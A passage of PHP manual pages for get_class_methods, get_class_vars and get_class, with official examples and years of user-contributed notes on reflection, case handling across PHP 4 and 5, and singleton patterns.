        }

        // some private function
        private function C() {
        }

        // some abstract method from base class implemented
        protected function D () {
        }
    }

    // Create new B Object
    $b = new B();
    // Print all Methods of this Object/Class
    $b->PrintAllMethods();
?>

In this example output will be:

__construct
A
B
C
D
E
PrintAllMethods

As you can see these are all methods from class B and also all methods from Class A respectivly in order of their declaration. Note that only one method "__construct" and only one method "D" are being shown. This is due to overloading (__construct) and implementing (D) in PHP.

In this example any further method-handling methods should be implemented in the base class as these will be available in derived classes as well. Just make sure that you use the right access specifiers for these additional methods ( private, protected, public )

BoD
jazepstein at greenash dot net dot au 16-Oct-2005 06:37
In PHP4, this function converts its return values to lowercase; but in PHP5, it leaves the return values in their original case. This can cause serious problems when trying to write code that dynamically calls a class method, and that works in both PHP4 and PHP5. This code snippet shows one way of achieving compatibility with both versions:

<?php
// Example variables - these would be dynamic in a real application.
$className = 'SomeClass';
$methodName= 'someMethod';
$args = array('arg1', 'arg2');

// Use array_map() and strtolower() to make all values returned by get_class_methods() lowercase. PHP4 does this anyway - now it will happen regardless of the PHP version being used.
$classMethods = array_map(strtolower, get_class_methods($className));

// in_array() can only handle being given an array.
if (!$classMethods) {
  $classMethods = array();
}

if (in_array(strtolower($methodName), $classMethods)) {
  // call some method
  return call_user_func_array(array($className, $methodName), $args);
}
?>
Oli Filth 11-Apr-2005 08:21
As an extension to onesimus's code below for finding inherited methods, in PHP 5 you can use the Reflection API to find which of these are overriden.

e.g.

<?php
function get_overriden_methods($class)
{
    $rClass = new ReflectionClass($class);
    $array = NULL;

    foreach ($rClass->getMethods() as $rMethod)
    {
        try
        {
            // attempt to find method in parent class
            new ReflectionMethod($rClass->getParentClass()->getName(),
                                $rMethod->getName());
            // check whether method is explicitly defined in this class
            if ($rMethod->getDeclaringClass()->getName()
                == $rClass->getName())
            {
                // if so, then it is overriden, so add to array
                $array[] .=  $rMethod->getName();
            }
        }
        catch (exception $e)
        {    /* was not in parent class! */    }
    }

    return $array;
}
?>
kabatak 20-Feb-2005 05:11
In PHP4, if you need to get_class_methods in their original case. You can use this simple function I created.

// Note: this function assumes that you only have 1 class in 1 file

$file = "path/to/myclass.php"

function file_get_class_methods ($file)
{
    $arr = file($file);
    foreach ($arr as $line)
    {
        if (ereg ('function ([_A-Za-z0-9]+)', $line, $regs))
            $arr_methods[] = $regs[1];
    }
    return $arr_methods;
}
epowell at removethis dot visi dot com 11-Oct-2004 08:47
I've figured out how to get around my issue described below, using the Reflection API.

<?
/* Pass the name of the class, not a declared handler */
function get_public_methods($className) {
    /* Init the return array */
    $returnArray = array();

    /* Iterate through each method in the class */
    foreach (get_class_methods($className) as $method) {

        /* Get a reflection object for the class method */
        $reflect = new ReflectionMethod($className, $method);

        /* For private, use isPrivate().  For protected, use isProtected() */
        /* See the Reflection API documentation for more definitions */
        if($reflect->isPublic()) {
            /* The method is one we're looking for, push it onto the return array */
            array_push($returnArray,$method);
        }
    }

    /* return the array to the caller */
    return $returnArray;
}
?>
onesimus at cox dot net 19-Jun-2004 02:32
This function will return only the methods for the object you indicate. It will strip out the inherited methods.

function get_this_class_methods($class){
    $array1 = get_class_methods($class);
    if($parent_class = get_parent_class($class)){
        $array2 = get_class_methods($parent_class);
        $array3 = array_diff($array1, $array2);
    }else{
        $array3 = $array1;
    }
    return($array3);
}
gk at proliberty dot com 01-Jun-2003 04:16
It is important to note that get_class_methods($class) returns not only methods defined by $class but also the inherited methods.

There does not appear to be any PHP function to determine which methods are inherited and which are defined explicitly by a class.
aldo at cerca dot com 21-Apr-2002 10:18
If you use "get_class_methods" to check if a Method is in a Class remember that the function return lowered name of class methods:

class classPippo
{
        function DummyFunct()
        {
                // Do nothing...
        }
}

$aClassMethods = get_class_methods(classPippo);

$sMethodName = 'DummyFunct';

// This not work...

        if (in_array($sMethodName, $aClassMethods))
        classPippo::DummyFunct();

// This work...

        if (in_array(strtolower($sMethodName), $aClassMethods))
        classPippo::DummyFunct();
matt at zevi dot net 21-Mar-2002 04:46
Win32 only:

It's probably worth noting here that you can't get the methods of an object created by the built-in 'COM' class. ie - this won't work:

$word = new COM('Word.Application');
$methods = get_class_methods(get_class($word));
print_r($methods);

Matt
get_called_class
get_class_vars
Classes/Object Functions


Get the default properties of the class

get_class_methods
get_class
Classes/Object Functions
PHP Manual

get_class_vars

(PHP 4, PHP 5)

get_class_vars — Get the default properties of the class

Description

array get_class_vars ( string $class_name )

Get the default properties of the given class.

Parameters

class_name

The class name

Return Values

Returns an associative array of declared properties visible from the current scope, with their default value. The resulting array elements are in the form of varname => value.

Changelog

Version | Description
5.0.3 | Depending on the scope, get_class_vars() will only return the properties that can be accessed from the current scope.
5.0.2 | Calling get_class_vars() will now expose all the properties as an array, unlike previous behaviour where protected and private properties were prefixed with nul bytes.
5.0.1 | Calling get_class_vars() will expose all properties, as when converting an object to a class.
Prior to 4.2.0 | Uninitialized class variables will not be reported by get_class_vars()

Examples

Example #1 get_class_vars() example

<?php

class myclass {

    var $var1; // this has no default value...
    var $var2 = "xyz";
    var $var3 = 100;
    private $var4; // PHP 5

    // constructor
    function myclass() {
        // change some properties
        $this->var1 = "foo";
        $this->var2 = "bar";
        return true;
    }

}

$my_class = new myclass();

$class_vars = get_class_vars(get_class($my_class));

foreach ($class_vars as $name => $value) {
    echo "$name : $value\n";
}

?>

The above example will output:

// Before PHP 4.2.0
var2 : xyz
var3 : 100

// As of PHP 4.2.0
var1 :
var2 : xyz
var3 : 100

Example #2 get_class_vars() and scoping behaviour

<?php
function format($array)
{
    return implode('|', array_keys($array)) . "\r\n";
}

class TestCase
{
    public $a    = 1;
    protected $b = 2;
    private $c   = 3;

    public static function expose()
    {
        echo format(get_class_vars(__CLASS__));
    }
}

TestCase::expose();
echo format(get_class_vars('TestCase'));
?>

The above example will output:

// 5.0.0
a| * b| TestCase c
a| * b| TestCase c

// 5.0.1 - 5.0.2
a|b|c
a|b|c

// 5.0.3 +
a|b|c
a

See Also

  • get_class_methods() - Gets the class methods' names
  • get_object_vars() - Gets the properties of the given object

User Contributed Notes

pBakhuis at Gmail dot com 07-Oct-2011 03:08
If you need the variables before the class is included this function does not seem to work.
Use a reflection class to get around this.
http://www.php.net/reflectionclass
ken at verango dot com 04-Oct-2010 04:50
All 3 of get_object_vars, get_class_vars and reflection getDefaultProperties will reveal the name of the array.  For serialization I recommend:

<?php
$cName = get_class($this);
$varTemplate= get_class_vars($cName)
foreach ($varTemplate as $name => $defaultVal) {
  $vars[$name] = $this->$name; // gets actual val.
}
?>

No scan the $vars and create serialization string how you wish.

This protects against erroneous prior deserializing in maintaining the integrity of the class template and ignoring unintended object properties.
ianitsky at gmail dot com 10-Nov-2009 11:53
If you need get the child protected/private vars ignoring the parent vars, use like this:

<?php
class childClass extends parentClass {
    private $login;
    private $password;

    public function __set($key, $val) {
        if ($key == 'password')
            $this->$key = md5($val);
        else
            $this->$key = $val;
    }
}
class parentClass {
    public $name;
    public $email;

    function __construct() {
        $reflection = new ReflectionClass($this);
        $vars = array_keys($reflection->getdefaultProperties());
        $reflection = new ReflectionClass(__CLASS__);
        $parent_vars = array_keys($reflection->getdefaultProperties());

        $my_child_vars = array();
        foreach ($vars as $key) {
            if (!in_array($key, $parent_vars)) {
                $my_child_vars[] = $key;
            }
        }

        print_r($my_child_vars);
    }
}

$child_class = new childClass();
?>
harmor 20-Dec-2008 03:53
So I wanted to get a list of the public parameters in a child class using a static function pre-5.3.0 (< 5.3.0).  In 5.3.0+ you would use the new 'static' like you would 'self' to get the late binding.

<?php
class childClass extends parentClass
{
    public $id;
    public $name;

    public static function getFields()
    {
        return self::_getFields(__CLASS__);
    }

}
abstract class parentClass
{
    public $idInParent;
    public $nameInParent;

    abstract public static function getFields();

    final protected static function _getFields($className)
    {
        $rtn = array();
        foreach (array_keys(get_class_vars($className)) as $var) {
            $rtn[] = $var;
        }
        return $rtn;
    }

}

var_dump(childClass::getFields());
?>

Results:
array(4) {
  [0]=>
  string(2) "id"
  [1]=>
  string(4) "name"
  [2]=>
  string(10) "idInParent"
  [3]=>
  string(12) "nameInParent"
}
artktec at art-k-tec dot com 16-Nov-2007 09:18
There seems to be be a function to get constants missing , i.e. get_class_constants() ... so here is a simple function for you all. Hopefully Zend will include this in the next round as a native php call, without using reflection.

<?php
   function GetClassConstants($sClassName) {
      $oClass = new ReflectionClass($sClassName);
      return $oClass->getConstants());
   }
?>
phpnet at stccorp dot net 15-Jun-2007 05:18
This is one of the best php functions. Look at what you can do

class Object
{
   var $updtFields;//keep track of affected values
   function Object($record="") {
       if (is_array($record))
       {
          $this->updtFields = array();
          foreach(array_keys(get_class_vars(get_class($this))) as $k)
          if (isset($record[$k]))
         {
          $this->$k = $record[$k];
          $this->updtFields[] = $k;
         }
      }
   }//end of arrayToObject

   function toDebug($nl='<br>')
   {
       foreach(array_keys(get_class_vars(get_class($this))) as $k)
       echo "$k = [" . $this->$k . "]{$nl}";
    }//end of toDebug
}

Now you can do really cool things. If you have a form like
<form action="" method="post">
  <input type="text" name="name" />
  <input type="text" name="phone" />
  <input type="submit" />
</form>

and you define your class like this
class Person extends Object{
  var $name; //same same as in the form
  var $phone;
}

when you submmit the form, you can get the data like

$person = new Person($_POST);

//everything in just one line,cool!! Also if you use pear db or adodb when you get data from the database you can do the same thing except use the $row that you get from the database. Remember to ask the result is associative mode.

This is my core Object for everthing I do and it works great.
bernd at tiggerswelt dot net 29-Jan-2007 02:52
If you assign a constant value using the self-scope by default to a variable, get_class_vars() will result in a FATAL error.

Example:

<?PHP

  class Foo {
    const Bar = "error";

    public $Foo = self::Bar;
  }

  print_r(get_class_vars("Foo"));

?>

... but using "Foo::Bar" instead "self::Bar" will work ;)
gizmobits at hotmail dot com 03-Mar-2006 07:48
I wanted a simple ToString() function that was automatic and class independent.  I wanted to dump it into any of several classes and get values quickly.  I wanted to leave it there so I could customize it for each class, so an outside function wasn't suitable.  I came up with this and thought it might be useful.  Have fun!

<?php
  function ToString () {
    $s = "";
    $s .= "<table>\n";
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    foreach (get_class_vars(get_class($this)) as $name => $value) {
      $s .= "<tr><td>$name:</td><td>" . $this->$name . "</td></tr>\n";
    }
    $s .= "<tr><td colspan=2><hr></td></tr>\n";
    $s .= "</table>\n";
    return $s;
  }

?>
php dot net at sharpdreams dot com 25-Oct-2005 06:25
Contrary to multiple comments throughout the manual, get_class_vars() performed within a class can access any public, protected, and private members.

<?php
class Foo {
   public $x;
   protected $y;
   private $z;
   public function __sleep() {
      return( get_class_vars( __CLASS__ ) );
   }
}
?>

works fine (returns x, y, & z). However, given the same class as above,

<?php
print_r( get_class_vars( "Foo" ) );
?>

will NOT return x, y, & z. Instead it will only return the public members (in our case, z).
alan_k at php dot net 21-Jan-2005 07:23
in PHP5 to get all the vars (including private etc.) use:

$reflection = new ReflectionClass($class);
$defaults = $reflection->getdefaultProperties();
rec at NOSPAM dot instantmassacre dot com 23-Jan-2003 04:23
If you want to retrieve the class vars from within the class itself, use $this.

<?php
class Foo {

    var $a;
    var $b;
    var $c;
    var $d;
    var $e;

    function GetClassVars()
    {
        return array_keys(get_class_vars(get_class($this))); // $this
    }

}

$Foo = new Foo;

$class_vars = $Foo->GetClassVars();

foreach ($class_vars as $cvar)
{
    echo $cvar . "<br />\n";
}
?>

Produces, after PHP 4.2.0, the following:

a
b
c
d
e
get_class_methods
get_class
Classes/Object Functions


Returns the name of the class of an object

get_class_vars
get_declared_classes
Classes/Object Functions
PHP Manual

get_class

(PHP 4, PHP 5)

get_class — Returns the name of the class of an object

Description

string get_class ([ object $object = NULL ] )

Gets the name of the class of the given object.

Parameters

object

The tested object. This parameter may be omitted when inside a class.

Return Values

Returns the name of the class of which object is an instance. Returns FALSE if object is not an object.

If object is omitted when inside a class, the name of that class is returned.

Errors/Exceptions

If get_class() is called with anything other than an object, an E_WARNING level error is raised.

Changelog

Version | Description
Since 5.3.0 | NULL became the default value for object, so passing NULL to object now has the same result as not passing any value.
Since 5.0.0 | The class name is returned in its original notation.
Since 5.0.0 | The object parameter is optional if called from the object's method.

Examples

Example #1 Using get_class()

<?php

class foo {
    function name()
    {
        echo "My name is " , get_class($this) , "\n";
    }
}

// create an object
$bar = new foo();

// external call
echo "Its name is " , get_class($bar) , "\n";

// internal call
$bar->name();

?>

The above example will output:

Its name is foo
My name is foo

Example #2 Using get_class() in superclass

<?php

abstract class bar {
    public function __construct()
    {
        var_dump(get_class($this));
        var_dump(get_class());
    }
}

class foo extends bar {
}

new foo;

?>

The above example will output:

string(3) "foo"
string(3) "bar"

See Also

  • get_called_class() - the "Late Static Binding" class name
  • get_parent_class() - Retrieves the parent class name for object or class
  • gettype() - Get the type of a variable
  • is_subclass_of() - Checks if the object has this class as one of its parents

User Contributed Notes

mail dot temc at gmail dot com 06-Dec-2011 02:51
People seem to mix up what __METHOD__, get_class($obj) and get_class() do, related to class inheritance.

Here's a good example that should fix that for ever:

<?php

class Foo {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

class Bar extends Foo {

}

class Quux extends Bar {
 function doMethod(){
  echo __METHOD__ . "\n";
 }
 function doGetClassThis(){
  echo get_class($this).'::doThat' . "\n";
 }
 function doGetClass(){
  echo get_class().'::doThat' . "\n";
 }
}

$foo = new Foo();
$bar = new Bar();
$quux = new Quux();

echo "\n--doMethod--\n";

$foo->doMethod();
$bar->doMethod();
$quux->doMethod();

echo "\n--doGetClassThis--\n";

$foo->doGetClassThis();
$bar->doGetClassThis();
$quux->doGetClassThis();

echo "\n--doGetClass--\n";

$foo->doGetClass();
$bar->doGetClass();
$quux->doGetClass();

?>

OUTPUT:

--doMethod--
Foo::doMethod
Foo::doMethod
Quux::doMethod

--doGetClassThis--
Foo::doThat
Bar::doThat
Quux::doThat

--doGetClass--
Foo::doThat
Foo::doThat
Quux::doThat
ozana at omdesign dot cz 28-Nov-2011 07:53
Simplest way how to gets Class without namespace

<?php
namespace a\b\c\d\e\f;

class Foo {

  public function __toString() {
    $class = explode('\\', __CLASS__);
    return end($class);
  }
}

echo new Foo(); // prints Foo
?>
Michael Richey 31-Oct-2011 12:01
Attempting various singleton base class methods described on this page, I have created a base class and bridge function that allows it to work without get_called_class() if it's not available.  Unlike other methods listed here, I chose not to prevent use of __construct() or __clone().

<?php
abstract class Singleton {
    protected static $m_pInstance;
    final public static function getInstance(){
        $class = static::getClass();
        if(!isset(static::$m_pInstance[$class])) {
            static::$m_pInstance[$class] = new $class;
        }
        return static::$m_pInstance[$class];
    }
    final public static function getClass(){
        return get_called_class();
    }
}

// I don't remember where I found this, but this is to allow php < 5.3 to use this method.
if (!function_exists('get_called_class')) {
    function get_called_class($bt = false, $l = 1) {
        if (!$bt)
            $bt = debug_backtrace();
        if (!isset($bt[$l]))
            throw new Exception("Cannot find called class -> stack level too deep.");
        if (!isset($bt[$l]['type'])) {
            throw new Exception('type not set');
        }
        else
            switch ($bt[$l]['type']) {
                case '::':
                    $lines = file($bt[$l]['file']);
                    $i = 0;
                    $callerLine = '';
                    do {
                        $i++;
                        $callerLine = $lines[$bt[$l]['line'] - $i] . $callerLine;
                    } while (stripos($callerLine, $bt[$l]['function']) === false);
                    preg_match('/([a-zA-Z0-9\_]+)::' . $bt[$l]['function'] . '/', $callerLine, $matches);
                    if (!isset($matches[1])) {
                        // must be an edge case.
                        throw new Exception("Could not find caller class: originating method call is obscured.");
                    }
                    switch ($matches[1]) {
                        case 'self':
                        case 'parent':
                            return get_called_class($bt, $l + 1);
                        default:
                            return $matches[1];
                    }
                // won't get here.
                case '->': switch ($bt[$l]['function']) {
                        case '__get':
                            // edge case -> get class of calling object
                            if (!is_object($bt[$l]['object']))
                                throw new Exception("Edge case fail. __get called on non object.");
                            return get_class($bt[$l]['object']);
                        default: return $bt[$l]['class'];
                    }

                default: throw new Exception("Unknown backtrace method type");
            }
    }
}

class B extends Singleton {
}

class C extends Singleton {
}

$b = B::getInstance();
echo 'class: '.get_class($b);

echo '<br />';

$c = C::getInstance();
echo echo 'class: '.get_class($c);
?>
This returns:
class: b
class: c
me at nwhiting dot com 06-Dec-2010 08:14
Method for pulling the name of a class with namespaces pre-stripped.

<?php
/**
 * Returns the name of a class using get_class with the namespaces stripped.
 * This will not work inside a class scope as get_class() a workaround for
 * that is using get_class_name(get_class());
 *
 * @param  object|string  $object  Object or Class Name to retrieve name

 * @return  string  Name of class with namespaces stripped
 */
function get_class_name($object = null)
{
    if (!is_object($object) && !is_string($object)) {
        return false;
    }

    $class = explode('\\', (is_string($object) ? $object : get_class($object)));
    return $class[count($class) - 1];
}
?>

And for everyone for Unit Test goodiness!

<?php
namespace testme\here;

class TestClass {

    public function test()
    {
       return get_class_name(get_class());
    }
}

class GetClassNameTest extends \PHPUnit_Framework_TestCase
{
    public function testGetClassName()
    {
        $class  = new TestClass();
        $std  = new \stdClass();
        $this->assertEquals('TestClass', get_class_name($class));
        $this->assertEquals('stdClass', get_class_name($std));
        $this->assertEquals('Test', get_class_name('Test'));
        $this->assertFalse(get_class_name(null));
        $this->assertFalse(get_class_name(array()));
        $this->assertEquals('TestClass', $class->test());
    }
}
?>
Aaron 18-Jun-2010 11:14
This can sometimes be used in place of get_called_class(). I used this function in a parent class to get the name of the class that extends it.
ovidiu.bute [at] gmail.com 05-Apr-2010 10:23
If you are using namespaces this function will return the name of the class including the namespace, so watch out if your code does any checks for this. Ex:

namespace Shop;

<?php
class Foo
{
  public function __construct()
  {
     echo "Foo";
  }
}

//Different file

include('inc/Shop.class.php');

$test = new Shop\Foo();
echo get_class($test);//returns Shop\Foo
?>
Tom Brown 17-Sep-2009 11:02
As of 5.3.0 this function seems to have started throwing an E_WARNING error if you pass it a non-object. Supress that with "@" if you are actually checking and handling the false return code.
Lanselot 11-Feb-2009 02:09
Beware if you're omitting the parameter on inherited classes.
It'll return the class name of the method where it's called.

<?php
class A {
    function foo() {
      return get_class();
    }
}
class B extends A {
   function bar() {
      return get_class();
   }
}
$instance = new B();
echo $instance->bar(); //Prints 'B';
echo $instance->foo(); //Prints 'A';
?>
danbettles at yahoo dot co dot uk 08-Oct-2008 11:56
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using the new get_called_class function.  When called in a static method, this function returns the name of the class the call was made against.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>

Full write-up in Oct 2008: http://danbettles.blogspot.com
Maik 04-Oct-2008 08:36
The code just worked fine with PHP 5.3.
Thanks to you it could be rebuild to work with earlier versions of PHP 5.

I just changed the 'static' to 'self' and die() to an Exception.

<?php
// This one extends Singleton with proper class name
class someSingleton extends Singleton {
    public static function getInstance() {
        parent::$__CLASS__ = __CLASS__;
        parent::getInstance();
    }
}
// This one does the logic
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;
    protected static $instance = null;

    protected function __construct() {}
    abstract protected function init();

    /**
     * Gets an instance of this singleton. If no instance exists, a new instance is created and returned.
     * If one does exist, then the existing instance is returned.
     */
    public static function getInstance() {
        $class = self::getClass();

        if (self::$instance === null) {
            self::$instance = new $class();
            self::$instance->init();
        }

        return self::$instance;
    }

    /**
     * Returns the classname of the child class extending this class
     *
     * @return string The class name
     */
    private static function getClass() {
        $implementing_class = self::$__CLASS__;
        $original_class = __CLASS__;

        if ($implementing_class === $original_class)
            throw new Exception("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");

        return $implementing_class;
    }
}
?>
Edward 21-Aug-2008 03:26
The code in my previous comment was not completely correct. I think this one is.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;

    protected function __construct() {
    }

    abstract protected function init();

    /**
     * Gets an instance of this singleton. If no instance exists, a new instance is created and returned.
     * If one does exist, then the existing instance is returned.
     */
    public static function getInstance() {
        static $instance;

        $class = self::getClass();

        if ($instance === null) {
            $instance = new $class();
            $instance->init();
        }

        return $instance;
    }

    /**
     * Returns the classname of the child class extending this class
     *
     * @return string The class name
     */
    private static function getClass() {
        $implementing_class = static::$__CLASS__;
        $original_class = __CLASS__;

        if ($implementing_class === $original_class) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return $implementing_class;
    }
}
?>
Edward 20-Aug-2008 05:42
With Late Static Bindings, available as of PHP 5.3.0, it is now possible to implement an abstract Singleton class with minimal overhead in the child classes. Late static bindings are explained here: http://nl2.php.net/manual/en/language.oop5.late-static-bindings.php

In short, it introduces a new 'static::' keyword, that is evaluated at runtime. In the following code I use it to determine the classname of the child Singleton class.

<?
abstract class Singleton {
    protected static $__CLASS__ = __CLASS__;
    protected static $instance;

    protected function __construct() {
        static::$instance = $this;
        $this->init();
    }

    abstract protected function init();

    protected function getInstance() {
        $class = static::getClass();

        if (static::$instance===null) {
            static::$instance = new $class;
        }

        return static::$instance;
    }

    private static function getClass() {
        if (static::$__CLASS__ == __CLASS__) {
            die("You MUST provide a <code>protected static \$__CLASS__ = __CLASS__;</code> statement in your Singleton-class!");
        }

        return static::$__CLASS__;
    }
}
?>

An example Singleton class can then be implemented as follows:

<?
class A extends Singleton {
    protected static $__CLASS__ = __CLASS__; // Provide this in each singleton class.

    protected function someFunction() {
        $instance = static::getInstance();
        // ...
    }
}
?>

Hope this helps you save some time :)
James 22-Jun-2008 02:46
To get round this problem, another option is a factory to create singletons.

<?php
class Factory {
  private static $instances = array();
  public static function getInstance($class_name) {
    if(!array_key_exists($class_name, self::$instances)) {
      self::$instances[$class_name] = new $class_name();
    }
    return self::$instances[$class_name];
  }
}
?>

I guess you could modify this to create singletons from some, and prototypes for the rest.

There's probably some good way to stop people instantiating objects directly. Perhaps by using the backtrace in the constructor of the class to ensure that it was indeed the Factory that created the object.
Anonymous 29-Apr-2008 09:59
I jumped the gun. The following code also working for statics called inside other classes.

<?php
        for( $i=0 ; $i < count($bt) ; $i++)
        {
            if($bt[$i]['function'] == 'getInstance')
            {
                $class = $bt[$i]['class'];

            } else {
                break;
            }
        }
?>
dave dot zap at gmail dot com 29-Apr-2008 09:13
Take care using the backtrace method to find the calling class of a static method, you should step backward through the array and find a match for your getInstance() function. In backtrace the class name you want is not always the last item in the array.

I will not post the whole singleton class here, but have made the following modification to Frederik Krautwald's method (found below)

<?php
$bt = debug_backtrace();
// this method is count($bt)-1) by Frederik will fall over when calling getInstance from within an include file.
//$class = $bt[count($bt) - 1]['class'];

for( $i=count($bt)-1 ; $i > 0 ; $i--)
{
    if($bt[$i]['function'] == 'getInstance')
    {
        $class = $bt[$i]['class'];
        break;
    }
}
?>
Anonymous 12-Apr-2008 02:01
In Perl (and some other languages) you can call some methods in both object and class (aka static) context. I made such a method for one of my classes in PHP5, but found out that static methods in PHP5 do not 'know' the name of the calling subclass', so I use a backtrace to determine it. I don't like hacks like this, but as long as PHP doesn't have an alternative, this is what has to be done:

public function table_name() {
        $result = null;
        if (isset($this)) { // object context
            $result = get_class($this);
        }
        else { // class context
            $result = get_class();
            $trace = debug_backtrace();
            foreach ($trace as &$frame) {
                if (!isset($frame['class'])) {
                    break;
                }
                if ($frame['class'] != $result) {
                    if (!is_subclass_of($frame['class'], $result)) {
                        break;
                    }
                    $result = $frame['class'];
                }
            }
        }
        return $result;
    }
frederic dot sureau at gmail dot com 29-Feb-2008 11:01
@ hek :

The problem is that the method getInstance() in a Singleton must be static, so we cannot use $this because it doesn't exists :(
andregs at NOSPAM dot gmail dot NOSPAM dot com 21-Feb-2008 01:17
After reading the previous comments, this is the best I've done to get the final class name of a subclass:

<?php

class Singleton
{
   private static $_instances = array();
   protected final function __construct(){}

   /**
    * @param string $classname
    * @return Singleton
    */
   protected static function getInstance()
   {
      $classname = func_get_arg(0);
      if (! isset(self::$_instances[$classname]))
      {
         self::$_instances[$classname] = new $classname();
      }
      return self::$_instances[$classname];
   }

}

class Child extends Singleton
{
   /**
    * @return Child
    */
   public static function getInstance()
   {
      return parent::getInstance(get_class());
   }
}

?>

Subclasses must override "getInstance" and cannot override "__construct".
hek at theeks dot net 10-Jan-2008 12:51
I may be missing something, but in all the laments wishing for some sort of get_real_class() function to return the final class name of of a derived class (a.k.a. subclass), my testing suggests that the existing get_class() function can do this just fine, at least when an object of the derived class has been instantiated.

Consider:

<?php

class BaseClass {
  function whoAmI() {
    return get_class($this);
  }
}

class DerivedClass extends BaseClass {}

$baseInstance = new BaseClass();
$derivedInstance = new DerivedClass();

echo $baseInstance->whoAmI(); // returns "BaseClass"
echo $derivedInstance->whoAmI(); // returns "DerivedClass"
echo BaseClass::whoAmI(); // returns an empty string
echo DerivedClass::whoAmI(); // returns an empty string

?>

In my opinion, the final two calls in my example should actually throw runtime errors, but apparently they don't.

Now consider:

<?php

class BaseClass {
  function whoAmI() {
    return get_class(/* $this */);
  }
}

class DerivedClass extends BaseClass {}

$baseInstance = new BaseClass();
$derivedInstance = new DerivedClass();

echo $baseInstance->whoAmI(); // returns "BaseClass"
echo $derivedInstance->whoAmI(); // returns "BaseClass"
echo BaseClass::whoAmI(); // returns "BaseClass"
echo DerivedClass::whoAmI(); // returns "BaseClass"

?>

So you can see, if you need to know the final class name of an *object* constructed from a subclass there's no problem, though if what you're after is the final class name of a derived class *for which you have no instance handy* then what I've demonstrated here isn't going to help you with that -- though it's hard for me to imagine you could write code like DerivedClass::whoAmI() and seriously care about the value you get back, since this line of code itself shows that you know the final class name of the derived class already to begin with!  But people are clever, so maybe there is some case where my simple view on this breaks down.  Anyway, happy trails.  I hope this helps someone someday.
dodgie74 at NOSPAM dot yahoo dot NOSPAM dot co dot uk 09-Sep-2007 05:40
As noted in bug #30934 (which is not actually a bug but a consequence of a design decision), the "self" keyword is bound at compile time. Amongst other things, this means that in base class methods, any use of the "self" keyword will refer to that base class regardless of the actual (derived) class on which the method was invoked. This becomes problematic when attempting to call an overridden static method from within an inherited method in a derived class. For example:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        //here, we want "self" to refer to the actual class, which might be a derived class that inherits this method, not necessarily this base class
        return $this->m_instanceName . ' - ' . self::classDisplayName();
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

In the above example, assuming runtime binding (where the keyword "self" refers to the actual class on which the method was invoked rather than the class in which the method is defined) would produce the output:

My Instance - Derived Class

However, assuming compile-time binding (where the keyword "self" refers to the class in which the method is defined), which is how php works, the output would be:

My Instance - Base Class

The oddity here is that "$this" is bound at runtime to the actual class of the object (obviously) but "self" is bound at compile-time, which seems counter-intuitive to me. "self" is ALWAYS a synonym for the name of the class in which it is written, which the programmer knows so s/he can just use the class name; what the programmer cannot know is the name of the actual class on which the method was invoked (because the method could be invoked on a derived class), which it seems to me is something for which "self" ought to be useful.

However, questions about design decisions aside, the problem still exists of how to achieve behaviour similar to "self" being bound at runtime, so that both static and non-static methods invoked on or from within a derived class act on that derived class. The get_class() function can be used to emulate the functionality of runtime binding for the "self" keyword for static methods:

<?php
class Base
{
    protected $m_instanceName = '';

    public static function classDisplayName()
    {
        return 'Base Class';
    }

    public function instanceDisplayName()
    {
        $realClass = get_class($this);
        return $this->m_instanceName . ' - ' . call_user_func(array($realClass, 'classDisplayName'));
    }
}

class Derived extends Base
{
    public function Derived( $name )
    {
        $this->m_instanceName = $name;
    }

    public static function classDisplayName()
    {
        return 'Derived Class';
    }
}

$o = new Derived('My Instance');
echo $o->instanceDisplayName();
?>

Output:
My Instance - Derived Class

I realise that some people might respond "why don't use just just the class name with ' Class' appended instead of the classDisplayName() method", which is to miss the point. The point is not the actual strings returned but the concept of wanting to use the real class for an overridden static method from within an inherited non-static method. The above is just a simplified version of a real-world problem that was too complex to use as an example.

Apologies if this has been mentioned before.
bramus at bram dot us 20-Aug-2007 08:40
@ Frederik :

<?
$class = $bt[count($bt) - 1]['class'];
?>

should be

<?
$class = $bt[count($bt) - 2]['class'];
?>

;-)
Frederik Krautwald 25-Jun-2007 08:13
Due to PHP 5 engine that permits to get final class in a static called function, and this is a modified version of examples published below.

<?php
abstract class Singleton {
    protected static $_instances = array();

    protected function __construct() {}

    protected static function getInstance() {
        $bt = debug_backtrace();
        $class = $bt[count($bt) - 1]['class'];
        if (!isset(self::$_instances[$class])) {
            self::$_instances[$class] = new $class();
        }
        return self::$_instances[$class];
    }
}
class A extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class B extends Singleton {
    public static function getInstance() {
        return parent::getInstance();
    }
}
class C extends A {
    public static function getInstance() {
        return parent::getInstance();
    }
}

$a = A::getInstance();
$b = B::getInstance();
$c = C::getInstance();

echo "\$a is a " . get_class($a) . "<br />";
echo "\$b is a " . get_class($b) . "<br />";
echo "\$c is a " . get_class($c) . "<br />";
?>

I don't know about if performance would increase if debug_backtrace() is skipped and instead have getInstance() to accept a passed class retrieved by get_class() method as parameter as described in a post below.

By having set getInstance() to protected in the Singleton class, the function is required to be overridden (good OOP practice).

